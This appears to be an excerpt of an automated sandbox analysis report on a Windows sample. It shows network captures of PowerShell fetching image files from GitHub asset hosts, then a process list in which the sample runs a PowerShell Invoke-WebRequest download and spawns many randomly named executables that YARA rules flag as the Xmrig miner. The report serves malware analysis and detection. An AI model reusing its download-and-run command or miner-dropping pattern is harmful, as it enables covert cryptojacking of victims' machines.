06 a5 8c 60 61 ef 82 51 df 86 56 e0 63 41 e6 7a 4c e1 70 47 e3 01 02 15 89 5a e1 5b 3e e7 7f 4f e0 00 01 0c 8c 5e e2 69 43 e5 75 4a e2 99 72 e6 ab 8a ea 91 67 e4 9e Data Ascii: PNGIHDR#:PLTE\}suzc`zn\|GU`&d~qp5]R_`aQVcAzLpGZ[>O^iCuJrg
2024-09-30 13:51:01 UTC	1378	IN	Data Raw: 06 08 e4 25 2f 99 76 25 30 16 03 ea 71 42 99 93 47 1b fa 3d 17 be 64 de 15 0d 67 31 c5 a0 1e 27 ad 4e 68 cc e4 d1 fd fd 69 55 9f 0e 38 d0 70 7a 63 3e 7a 63 0c 1a 33 b5 5f 3f ce 3b 39 83 a3 4e 87 35 9a c3 1e 1e 90 02 7d 05 a8 5f 47 e4 a6 4f 87 86 a3 3d 7a 5f e2 82 14 e8 eb f7 31 63 3c a6 f6 d7 15 79 f6 38 1d a5 d1 db e2 f1 88 8b a6 13 ea ca f8 51 f2 45 80 fa 49 64 e2 5d fd 96 23 7e 86 c1 03 d0 e9 d3 e1 5d 5d 3f 7e 7c 21 d0 f7 91 1e fd 21 f2 b2 78 d7 d1 1c 75 3b ac 01 07 9e b8 b8 b8 d3 a7 6f 48 50 27 40 2c 72 fb a7 77 e4 a2 4f a7 cf 4b a6 db 61 4e 00 e6 c3 1e 09 ea ec ec 04 e8 8a 47 51 d1 14 ef d1 c6 7f c5 19 ec 9c 9c d9 eb 5d 47 61 f4 6c c0 09 e0 f1 90 e7 79 57 77 77 37 83 3a 46 42 74 a5 a8 68 08 48 63 ff c9 af c9 3d 4e 07 1e 91 9e 8c d2 04 50 71 66 cf f3 Data Ascii: %/v%0qBG=dg1'NhiU8pzc>zc3_?;9N5}_GO=z_1c<y8QEId]#~]]?~\|!!xu;oHP'@,rwOKaNGQ]GalyWww7:FBthHc=NPqf
2024-09-30 13:51:01 UTC	1231	IN	Data Raw: 92 41 59 ce 08 e5 28 0e 5b b6 db f8 4a 6f 9b 10 89 1b 02 c8 78 be 4d f1 58 dd 71 e8 d7 ef e6 a7 4a 4d 96 d3 fe a1 2c ed 1f ed 76 3b 9d 4e e3 5b c5 88 18 74 f4 f5 08 9e 2f c6 c3 e7 c3 9e d7 56 e5 fc fa de ca 8f aa 99 ab 9b 14 0c 24 41 de 4d 84 49 0c 3a 02 68 b6 c7 aa 9c bb 54 ce c1 e7 9b 9b 24 41 34 65 97 f3 6e d7 98 18 f4 9e 40 ec a1 b9 26 3d 8f ed ee 18 e5 34 64 39 3b c9 5d 58 b4 24 39 16 32 99 92 18 e4 f4 80 c3 9e 9f b7 ed ee 58 95 b3 57 48 25 f1 33 b5 c4 19 23 62 d0 a4 e7 9b f1 80 43 1e ab 72 42 a6 9c 1c 38 6c 99 21 72 eb b1 9c 8a ca 39 dc cb 7e 48 a5 a6 4b 18 c4 05 61 30 a7 07 1c e5 b1 29 27 80 3b ae cb 72 f6 73 85 1d 70 5c 84 40 53 3d 67 67 e4 01 47 58 24 86 a9 4a c5 4a 0d e5 80 93 74 15 bd 98 c3 83 73 96 9c 33 70 e0 b1 29 27 42 53 95 ab 99 cf d8 8a Data Ascii: AY([JoxMXqJM,v;N[t/V$AMI:hT$A4en@&=4d9;]X$92XWH%3#bCrB8l!r9~HKa0)';rsp\@S=ggGX$JJts3p)'BS

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
112	192.168.2.7	49828	185.199.110.154	443	6764	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-30 13:51:01 UTC	361	OUT	GET /assets/footer-orb-a0438104a7a2.png HTTP/1.1 Accept: / Accept-Language: en-CH UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: github.githubassets.com Connection: Keep-Alive
2024-09-30 13:51:01 UTC	700	IN	HTTP/1.1 200 OK Connection: close Content-Length: 9318 Cache-Control: public, max-age=31536000, immutable Content-Type: image/png Content-MD5: lrt7D1SpRyMz6o6iymvoKQ== Last-Modified: Wed, 14 Aug 2024 20:00:44 GMT ETag: "0x8DCBC9BC8043D26" Server: Windows-Azure-Web/1.0 Microsoft-HTTPAPI/2.0 Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Date: Mon, 30 Sep 2024 13:51:01 GMT Age: 2348340 X-Served-By: cache-iad-kiad7000074-IAD, cache-ewr-kewr1740020-EWR X-Cache: HIT, HIT X-Cache-Hits: 13088, 2 Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Origin: * Strict-Transport-Security: max-age=31536000 X-Fastly-Request-ID: 2f14c5f5b03951343449e0b7d2a9a6e4a227fb10
2024-09-30 13:51:01 UTC	1378	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 d0 00 00 00 c4 08 03 00 00 00 d9 3d 5f cb 00 00 02 fd 50 4c 54 45 00 00 00 98 34 ff a7 3d ff ac 40 ff 9e 38 ff a2 3a ff b0 42 ff 94 33 ff c8 8c ff 9b 36 ff b8 47 ff b4 46 ff bb 4a ff ce 96 ff ca 8f ff be 4c ff c3 85 ff cb 56 ff c2 4f ff c6 52 ff c6 89 ff cc 93 ff c5 87 ff d2 9d ff e7 c8 ff b4 43 ff d0 98 ff f0 c8 ff d0 5b ff d7 62 ff e4 c4 ff e3 c0 ff dd 74 ff d4 a0 ff d4 5f ff d1 5f ff da 66 ff e9 cc ff c5 58 ff d8 ab ff a6 39 ff c3 55 ff a1 34 ff cc 5b ff df bb ff dc 6e ff ac 3d ff c7 58 ff d5 a4 ff e2 bc ff e3 78 ff c5 58 ff d5 99 ff d8 a6 ff df b6 ff d6 67 ff d9 6b ff e5 82 ff c2 53 ff dd b3 ff e3 72 ff e1 6e ff dc b0 ff f9 e0 ff f1 a4 ff ec d2 ff e3 7d ff be 51 ff e8 8c ff f3 ac ff ef 9c ff eb Data Ascii: PNGIHDR=_PLTE4=@8:B36GFJLVORC[bt__fX9U4[n=XxXgkSrn}Q
2024-09-30 13:51:01 UTC	1378	IN	Data Raw: 14 4c 98 bd f1 19 40 92 72 b8 9b dd 68 06 98 7d 9b 36 5d 3a 70 c0 49 ce dd e1 3c f4 e6 c9 5d 84 68 82 ba 20 a6 bd b5 5c 53 af 4d 9e 71 16 33 47 34 c0 1c 66 cb b9 73 42 b9 72 f5 2a 3e be b0 89 42 aa fa 7a a0 2e a8 a9 b7 49 e0 d0 e6 48 39 a2 41 35 5b 05 73 45 72 da 93 db c9 9c a5 38 54 7d 7d bd 33 9d dc 53 8b c9 eb 3d 52 be ac 8e 94 23 9a fd a4 11 cb 71 ce e9 21 a7 4f 0f 43 86 8f 19 3e bc 68 68 51 51 d1 d8 b1 63 01 7a 74 fb d1 23 45 bd 31 13 48 30 31 a9 c7 45 f9 ca 91 72 a0 d9 4f 9a cd 9b af 5c bc 78 f1 b8 24 3b 3b 7b 08 02 0f 91 90 a1 14 90 46 8d 7a c4 51 14 4c 20 dd a7 9a 7a 8b 84 cb 86 dd 11 ce 3e e6 6c dd 0a 8d 62 06 b9 28 c9 2f ca c9 c9 19 85 cc 81 a8 a1 a1 81 4d 6f de 3c 45 4d 49 52 5d 8f 91 ac 1e e5 60 d6 68 d4 76 ed 62 ce a9 53 a7 8e 8f e0 a8 48 49 Data Ascii: L@rh}6]:pI<]h \SMq3G4fsBr*>Bz.IH9A5[sEr8T}}3S=R#q!OC>hhQQczt#E1H01ErO\x$;;{FzQL z>lb(/Mo<EMIR]`hvbSHI
2024-09-30 13:51:01 UTC	1378	IN	Data Raw: 44 29 2f 50 24 d0 cf c0 81 5d ec 51 c4 bd 51 6d e4 b4 a2 9f 5e b9 3c 78 1c 88 ce dc 38 01 55 08 48 35 88 88 3e 63 8d 52 1c 3a 1b 38 5b 20 44 35 0a b2 d8 1a d9 99 d3 a3 10 00 85 8e 02 96 28 08 62 91 70 34 0f 44 94 1c ba 58 0a 4f 1e b7 40 6b 6c 81 04 44 31 8b 91 d4 63 20 df c8 05 7e e3 29 28 d0 d0 46 03 99 07 59 3a a3 e9 f9 67 11 6d c7 d0 4d 8d fd e6 57 6a 97 03 c7 1a f6 f8 54 de 86 e2 5e 50 17 bf f1 72 7e 70 6e 27 a1 36 c6 61 18 c0 cb 94 12 c9 1c 19 23 f3 18 17 99 29 43 ca 4a 22 64 28 42 14 c9 3c 94 64 58 18 8a 12 11 b2 30 44 ee 46 36 16 58 58 58 23 0b 0b 6b 25 16 36 24 f2 bc d3 79 fc cf eb f8 0e 2f 37 29 9b 5f cf fb 7f be ff fd ce 05 d0 90 3f 25 c4 43 f4 14 20 7a 30 ef df 7f f9 fe e9 c7 67 5b ba 39 ff 18 10 17 8e 85 e0 1c 91 98 a9 d8 bd df 40 15 b5 cd 4e Data Ascii: D)/P$]QQm^<x8UH5>cR:8[ D5(bp4DXO@klD1c ~)(FY:gmMWjT^Pr~pn'6a#)CJ"d(B<dX0DF6XXX#k%6$y/7)_?%C z0g[9@N
2024-09-30 13:51:01 UTC	1378	IN	Data Raw: 6c 1c 41 e3 01 5a 0b 90 56 f6 e2 49 ee 01 08 1c 0c 34 57 af 2a 65 c2 94 09 13 a6 e0 4b 49 2e 72 d2 66 88 6a 97 85 7e 55 a5 fd 4c 40 ed 09 22 29 73 32 88 1e 82 f8 1f 3b b0 71 e3 3d 20 7f a4 62 df b6 68 40 b7 75 ae ea 5c ba 04 c8 e0 c1 f2 5b 46 45 2d 14 09 28 0e 51 7e 12 e5 a7 10 36 4e 40 f4 60 ad c2 93 45 f4 a4 8d 23 08 22 0f 08 20 36 02 16 0e 1e e4 b3 77 2f 39 d0 5c ba 34 58 a7 f7 60 23 01 64 a2 01 26 52 10 0e 91 3d 89 1a df b4 ed 08 3d db aa 09 31 22 26 44 4c 8d c3 84 fe bc 71 7c 47 a2 a0 08 88 8d 8d 7c f6 8a 27 38 18 c3 f8 00 45 51 44 e4 20 1c a2 fc 68 cd 9d f0 b8 8d 27 44 51 be ca e5 0f 86 30 c1 c1 98 87 67 48 45 23 47 8e 04 68 ad 78 56 c2 b3 58 3c 5b cc 73 3f 38 35 4a 5f 19 23 b9 68 8c 8b 74 e7 8e a5 56 48 df 3a 44 27 b4 05 c8 4a 21 48 ec 6d 72 e8 c9 Data Ascii: lAZVI4W*eKI.rfj~UL@")s2;q= bh@u\[FE-(Q~6N@`E#" 6w/9\4X`#d&R==1"&DLq\|G\|'8EQD h'DQ0gHE#GhxVX<[s?85J_#htVH:D'J!Hmr
2024-09-30 13:51:01 UTC	1378	IN	Data Raw: 79 33 c4 67 44 f3 b7 0f e3 8e f5 f6 65 07 2d e8 a4 a6 99 f4 38 46 1e 40 a5 e1 32 9f 55 4b 35 3f 2a 34 f2 ac ca 8e db 41 40 bb 19 21 0b c8 41 57 2f 95 3b d6 92 d0 f8 aa cf 97 67 af 1f 2d 02 24 91 40 25 1c 95 38 01 92 07 50 ae 6c 05 a4 01 42 e3 fb ba f6 9b 26 c8 cf 3d da 09 06 b2 0f f1 00 95 4f 25 cb 57 7d 12 f4 68 d1 82 2e a2 c8 24 30 f2 fc 7d 7c b4 10 2c a0 dc 08 f2 50 3a 8f c2 e9 a2 c1 31 50 74 1c a0 dd 80 7c 69 03 ba 69 1f b3 fa 23 4c 27 a7 41 2f 1d b4 a6 65 64 a5 ad 36 e1 01 23 4f 5d d9 3d a0 72 39 75 4e 59 71 09 e2 93 bc 1c a1 00 5d 29 9f e1 35 d0 f1 7b ac b9 3f 40 0b 8a 48 25 4e 05 45 c1 f1 80 34 41 c5 e3 f3 c3 3e a8 1e ca 39 e9 c9 a5 0d 48 23 94 4f 93 5c d4 e7 29 fd 30 e7 a0 17 8f 16 d9 14 d5 cd d0 35 25 1e 71 e4 e9 01 e1 51 40 3f 5a 40 d4 64 40 74 Data Ascii: y3gDe-8F@2UK5?*4A@!AW/;g-$@%8PlB&=O%W}h.$0}\|,P:1Pt\|ii#L'A/ed6#O]=r9uNYq])5{?@H%NE4A>9H#O\)05%qQ@?Z@d@t
2024-09-30 13:51:01 UTC	1378	IN	Data Raw: 97 a1 e2 90 30 13 d0 6c 44 29 62 1f b3 c3 9c 24 4c 70 a2 d0 18 c7 df 7d f4 c7 7e 3d a0 00 b1 13 94 10 25 4e 09 08 8f 6f 38 35 1c 2f 77 95 09 aa a7 84 f9 88 4c b4 d5 35 2c 30 2f 85 55 38 6b 47 81 81 63 1e 7b f1 24 de 03 c8 84 56 c7 4e 90 a7 6e 6c 5d 52 15 90 bf 7f a7 6b 50 7c f9 4a af b6 cf 46 74 e7 fe 89 a7 1e d1 c7 27 5b 97 af e4 5b 82 58 64 22 75 0f 20 38 f1 f6 b0 5e d4 f0 e7 cc 59 72 96 90 8b 30 b9 e8 cf a7 ae 96 16 cf 3e 35 dc 4c 40 f3 11 7d fb 3e 44 ee a0 20 f1 b3 ff 5a 94 df 39 eb 46 0d 8e 7b 6c 25 18 e8 cc 78 b1 e1 86 66 28 3f c5 1f 22 7e d6 19 5b f9 18 08 4f 34 9c 07 e4 1e 4d 90 02 9a bf b8 5e 23 a2 6f df 01 7d 84 a0 99 e7 87 14 cd a3 7f ea 6a 80 f6 f0 cf 23 f8 9b 41 23 20 03 c5 75 28 45 94 b7 9b 97 79 f2 a6 61 47 0e 10 01 e1 c9 53 e9 cd 7f 0f 48 Data Ascii: 0lD)b$Lp}~=%No85/wL5,0/U8kGc{$VNnl]RkP\|JFt'[[Xd"u 8^Yr0>5L@}>D Z9F{l%xf(?"~[O4M^#o}j#A# u(EyaGSH
2024-09-30 13:51:01 UTC	1050	IN	Data Raw: cf e3 bb 67 e2 d8 7a 79 08 a2 74 8e ae 22 ba 79 e9 52 a7 c2 5b 0e 9c a2 86 ac 5d bb 56 3d 53 0d d4 6f d0 e0 c1 83 4f 60 f0 e8 d9 91 5d 0d c7 3c 73 d5 03 27 8d 9b 78 f6 a8 c7 fa a9 a3 28 6d 6f 48 22 c2 93 7f 0f 0d 8c 73 f0 10 e1 4c 05 e4 22 48 12 6d 86 6e 08 ed a4 7a e8 c7 af 90 6b 6a 6a 5a ae c7 87 f7 37 f5 34 d8 f9 a9 b7 68 5f f3 d1 a3 67 11 dd 43 74 c9 3c 05 50 68 94 b3 57 3d e4 91 a4 77 3f 32 48 51 6e 31 4d 3a 3d c5 71 93 75 c0 fb 68 a9 cc 7e d3 7e ea 2f 5a df dc ac 22 4a 82 04 a7 00 ca 95 43 3d 7b f7 66 3c fc b5 f9 00 1d 24 71 f0 3d 38 da 8f 6f 03 38 d3 a7 2f f7 71 63 bd f1 3e 8a a7 8e fd c4 3b 03 a2 0d 94 84 28 95 d4 c7 38 0e 2a 7a f6 92 43 87 ec f6 7c c2 35 8b bd 09 28 54 44 31 c1 61 5d db 45 6b b6 dd a8 c7 8f cf b4 89 bc 1f 88 a7 fe a2 c6 ed 07 f7 Data Ascii: gzyt"yR[]V=SoO`]<s'x(moH"sL"HmnzkjjZ74h_gCt<PhW=w?2HQn1M:=quh~~/Z"JC={f<$q=8o8/qc>;(8*zC\|5(TD1a]Ek

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
113	192.168.2.7	49829	185.199.110.154	443	6764	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-30 13:51:03 UTC	362	OUT	GET /assets/footer-blur-8bc8e1f23df6.png HTTP/1.1 Accept: / Accept-Language: en-CH UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: github.githubassets.com Connection: Keep-Alive
2024-09-30 13:51:03 UTC	702	IN	HTTP/1.1 200 OK Connection: close Content-Length: 6601 Cache-Control: public, max-age=31536000, immutable Content-Type: image/png Content-MD5: /zGS68sVJb0qe8zKRTFqoQ== Last-Modified: Wed, 14 Aug 2024 20:00:03 GMT ETag: "0x8DCBC9BAF8AD861" Server: Windows-Azure-Web/1.0 Microsoft-HTTPAPI/2.0 Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Date: Mon, 30 Sep 2024 13:51:03 GMT Age: 2947382 X-Served-By: cache-iad-kiad7000097-IAD, cache-ewr-kewr1740036-EWR X-Cache: HIT, HIT X-Cache-Hits: 1361, 4964 Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Origin: * Strict-Transport-Security: max-age=31536000 X-Fastly-Request-ID: 7fdfccd346b8f122efef1c3b4fea4b5fe0a44b34
2024-09-30 13:51:03 UTC	1378	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 b8 00 00 00 b8 08 03 00 00 00 67 ed d6 f5 00 00 02 fd 50 4c 54 45 00 00 00 35 a8 bd 2f 46 f3 2c a5 b3 24 2b f9 1f 2a f8 19 23 fa 2e b3 a9 15 14 fe 15 14 f5 2f a8 b0 2a 82 c3 2f aa af 16 19 fc 45 94 d2 17 18 fd 19 20 f9 2f b1 a9 1e 28 f4 18 1a fc 4a 98 d4 15 12 fa 17 18 fb 16 16 fd 2c ab aa 12 77 b6 4e 9c d7 14 7a b6 16 14 f7 2f ad ac 51 a1 d7 13 73 b7 15 13 f8 15 15 fc 16 15 fc 4c 96 d9 15 12 f8 15 13 f8 1a 20 f6 16 15 f8 15 13 fd 13 6d bd 46 82 e5 1b 21 f5 15 13 fa 15 14 fc 14 13 fd 36 a7 b9 2b a5 af 18 1b f7 15 13 fc 46 8b da 46 85 db 1a 1e f0 15 14 f9 15 13 fb 15 12 fb 15 12 fd 15 12 fc 14 12 fd 26 9c af 15 12 fb 43 95 cf 15 12 fd 15 14 f9 2d 95 bb 15 71 bc 38 a8 ba 39 69 e2 26 98 b3 14 74 b6 14 Data Ascii: PNGIHDRgPLTE5/F,$+#.//E /(J,wNz/QsL mF!6+FF&C-q89i&t
2024-09-30 13:51:03 UTC	1378	IN	Data Raw: 5d 4b 87 5c 3b cf 70 39 a9 75 27 c5 8a d5 ca 5b ba 73 0b ae fb 8c b2 c1 5d 18 44 ec 46 47 e9 26 67 78 06 da 13 0c 97 9d 88 bb 1a dc 67 ce 08 5b d5 eb 56 ae 5b b9 72 dd 3a c1 a3 76 a2 37 12 b9 ad 25 c3 67 9e d4 77 ad dc 2d e0 d6 ba 8f 80 4d 66 8b e0 a5 f5 c1 2c af ee c9 33 d4 ad 7d e7 22 77 e9 d2 2d aa 55 2b 5b 16 75 83 7d c4 b1 0f bb b0 5d e8 90 d7 54 79 6e 6f e7 19 82 f7 dd b5 d8 dd 2b 70 ef 02 9b d5 47 83 90 5d e9 3a 97 54 f2 0c 88 dd 27 d6 37 cf fb 08 b9 77 c1 28 ea 03 41 18 cf 83 41 e9 3a 74 4f 9e 51 73 f1 dd da 77 a7 4e 70 ef 82 1b 6c 45 6f 3c b0 71 a3 4f d7 b9 04 f2 bc 31 f2 0c 75 1f 3b c6 6c 98 2d 73 41 87 7c f6 6c cc c5 e4 fe 5a d2 4d 87 3a ca 0d f6 41 72 9f 50 f5 1c 64 d1 9c 45 8b 36 2e 42 f1 4a c7 5c 22 e4 69 77 f3 83 3e ca 7d f0 d8 b1 13 27 4e Data Ascii: ]K\;p9u'[s]DFG&gxg[V[r:v7%gw-Mf,3}"w-U+[u}]Tyno+pG]:T'7w(AA:tOQswNplEo<qO1u;l-sA\|lZM:ArPdE6.BJ\"iw>}'N
2024-09-30 13:51:03 UTC	1378	IN	Data Raw: cb 1a 1f ae 5b 79 60 f0 28 79 3f 95 eb 83 28 e2 35 2e fa b6 a1 c0 3d 73 74 ca be a7 71 e1 e2 a6 a3 69 13 47 e3 7c a9 90 db fa 36 b9 c2 75 e4 3f 27 1f 0c b9 1e 50 37 96 88 a1 d8 c1 9c 3c 39 ec 9e e6 0a 7f fc f0 e1 77 4b a1 c6 75 e2 d1 70 b8 15 4e e7 f3 0e e4 02 8f 96 37 82 dc 1b 4b e4 50 5a d8 50 66 cc 30 37 b1 91 ae 5d 01 87 fb f1 43 77 34 bf 9b b8 3f 94 0b 17 42 f2 6b 5a f9 ad 5b 04 17 79 99 b0 1c 70 91 db cc 05 ee d3 e5 46 b1 81 fb ee d3 ea 6e 46 6e 86 d7 90 c2 43 70 59 b8 ba 2f 70 82 d2 c3 23 27 38 22 f0 b0 5c af 16 1b 8b 6e c5 2f 5c 6f 14 1d 78 92 7b 6b e0 46 5a 76 25 f9 47 14 9e bc 14 f7 dc bc 19 14 0e 26 b9 55 1e 86 5b e3 9f 15 5e 06 ef fc 7b 72 77 29 f2 cc b5 f2 b0 5c de 43 b1 a1 c8 85 b2 62 05 b9 4f 93 7b 9a b9 fb 3c 4f 5a 8a 9d cd 50 e1 17 24 e0 Data Ascii: [y`(y?(5.=stqiG\|6u?'P7<9wKupN7KPZPf07]Cw4?BkZ[ypFnFnCpY/p#'8"\n/\ox{kFZv%G&U[^{rw)\CbO{<OZP$
2024-09-30 13:51:03 UTC	1378	IN	Data Raw: a7 4e 19 3b 2d c0 45 ee 95 a7 e4 36 f3 f4 58 b8 16 71 23 ee 06 9c ee c7 ee 7e 86 c0 8c 88 5b ed 60 4b e3 e6 de a3 f0 bb 01 de be 10 7c 4c 76 6a fd d8 69 5a f9 8c e1 c3 1b a2 ca 4d 0e 3a e5 c9 91 98 be d1 82 39 be bf ba 17 dc 98 77 60 a3 ec 97 33 e5 11 d2 34 73 75 93 ba 1d ee 4b 89 1a e7 c6 3b f5 c6 d5 99 c0 a7 00 ce ca 01 8f e5 ef d3 f2 d4 9d 16 83 9d b0 ef 27 a1 ef a4 ed 97 2f 5f fe fa 05 2e be 7b 96 35 35 45 13 27 7c 64 02 e7 71 a8 c7 8a 56 3e 06 23 b7 ad f4 99 6d 95 87 b1 b0 f3 52 72 d0 03 9b 07 21 77 22 75 93 8d 6f b0 cb b7 a4 f0 26 2e 85 13 4f c1 db f1 ea b4 91 87 ad 70 e5 2a e7 ce ad f4 e2 72 d0 f9 92 8a b0 e1 7e 00 77 32 13 67 33 2b 66 da a3 a9 29 5e ca 7e 29 5c 26 5e 00 8e ad f8 c8 93 73 05 2b 0f 72 44 e1 56 7a 09 b9 d3 03 9b e7 b7 b9 03 fb e3 af Data Ascii: N;-E6Xq#~[`K\|LvjiZM:9w`34suK;'/_.{55E'\|dqV>#mRr!w"uo&.Op*r~w2g3+f)^~)\&^s+rDVz
2024-09-30 13:51:03 UTC	1089	IN	Data Raw: fb f6 9d 3b d7 f2 b8 fd ba ac 5c 5e 7e e7 48 da ee c1 2d 24 be cd 15 b7 d3 d7 21 70 6f 39 01 78 01 f7 92 b0 ef ca c2 27 16 65 cb 5f 0d 25 3d c4 e5 88 c0 d5 bd 71 5d 23 d8 05 dc 6b f6 6e a7 db 77 d2 ae 72 79 87 32 3a c7 05 6a f0 a1 48 22 27 de ee 20 29 df 28 72 24 b8 6f a5 dc fb 72 dd 54 57 dc 79 c7 6e 25 3a a7 dc e8 8c c1 91 e0 06 3b b8 91 d8 7d 20 71 cf 67 df 95 c3 e5 8f b4 47 ca ef dc e9 b1 de e0 99 5e 99 b9 de 38 02 37 12 b9 8f d3 5d 6d df 08 e0 dc 79 39 72 67 93 2e 72 b1 67 32 19 63 ab fb f4 e9 d8 7d ad 95 bb 93 bb ab fc 77 f9 95 cb 41 47 dc dd 45 d8 f8 46 fa 69 c0 ff 95 9b a9 4c 3e 54 e9 ac 5d 8f 49 53 c3 bd 1e 6c ba af 04 77 6a 27 1d 2b df 77 fa 56 51 e4 65 ee dc 1b 77 39 7e 01 b5 d8 33 16 c8 15 0e f7 e5 b4 7b 8d b8 7b 68 df fc 7a 59 8d 1c f0 b2 e5 Data Ascii: ;\^~H-$!po9x'e_%=q]#knwry2:jH"' )(r$orTWyn%:;} qgG^87]my9rg.rg2c}wAGEFiL>T]ISlwj'+wVQew9~3{{hzY

Target ID:	0
Start time:	09:49:51
Start date:	30/09/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x7ff67c400000
File size:	1'262'731 bytes
MD5 hash:	011D87D169D7BA9F3D3FD9A7F6E4BF2D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	2
Start time:	09:49:51
Start date:	30/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	3
Start time:	09:49:51
Start date:	30/09/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -command "Invoke-WebRequest "https://raw.githubusercontent.com/" "
Imagebase:	0x7ff741d30000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	4
Start time:	09:49:51
Start date:	30/09/2024
Path:	C:\Windows\System\xIpouRJ.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System\xIpouRJ.exe
Imagebase:	0x7ff6667f0000
File size:	1'262'731 bytes
MD5 hash:	38FC44E4446DF51BB43DB463B23B573E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000004.00000002.1358633550.00007FF6667F1000.00000040.00000001.01000000.00000004.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	09:49:51
Start date:	30/09/2024
Path:	C:\Windows\System\ERbKWDm.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System\ERbKWDm.exe
Imagebase:	0x7ff67dbc0000
File size:	1'262'984 bytes
MD5 hash:	6D0F7C8365C3C357F0222BE5CE3A266C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000005.00000002.1358681117.00007FF67DBC1000.00000040.00000001.01000000.00000005.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	09:49:51
Start date:	30/09/2024
Path:	C:\Windows\System\wHnuprt.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System\wHnuprt.exe
Imagebase:	0x7ff7c3b50000
File size:	1'263'237 bytes
MD5 hash:	E4542CEE0E067AA8B88BEC5F17BB9E9C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000006.00000002.1359872361.00007FF7C3B51000.00000040.00000001.01000000.00000006.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	09:49:51
Start date:	30/09/2024
Path:	C:\Windows\System\uxMRJKa.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System\uxMRJKa.exe
Imagebase:	0x7ff6bea80000
File size:	1'263'490 bytes
MD5 hash:	AECC8256FBE60046162932A4E1F8301A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000007.00000002.1360369085.00007FF6BEA81000.00000040.00000001.01000000.00000007.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	09:49:51
Start date:	30/09/2024
Path:	C:\Windows\System\bJVoOik.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System\bJVoOik.exe
Imagebase:	0x7ff6b3cd0000
File size:	1'263'743 bytes
MD5 hash:	71BCC81AD8565317CDCD7E08C671D76F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000008.00000002.1361423571.00007FF6B3CD1000.00000040.00000001.01000000.00000008.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	09:49:52
Start date:	30/09/2024
Path:	C:\Windows\System\wkazDeV.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System\wkazDeV.exe
Imagebase:	0x7ff68b300000
File size:	1'263'996 bytes
MD5 hash:	120A6C6612AE48DAF9F388536D4C213D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000009.00000002.1362487750.00007FF68B301000.00000040.00000001.01000000.00000009.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	09:49:52
Start date:	30/09/2024
Path:	C:\Windows\System\VWrcuzM.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System\VWrcuzM.exe
Imagebase:	0x7ff748320000
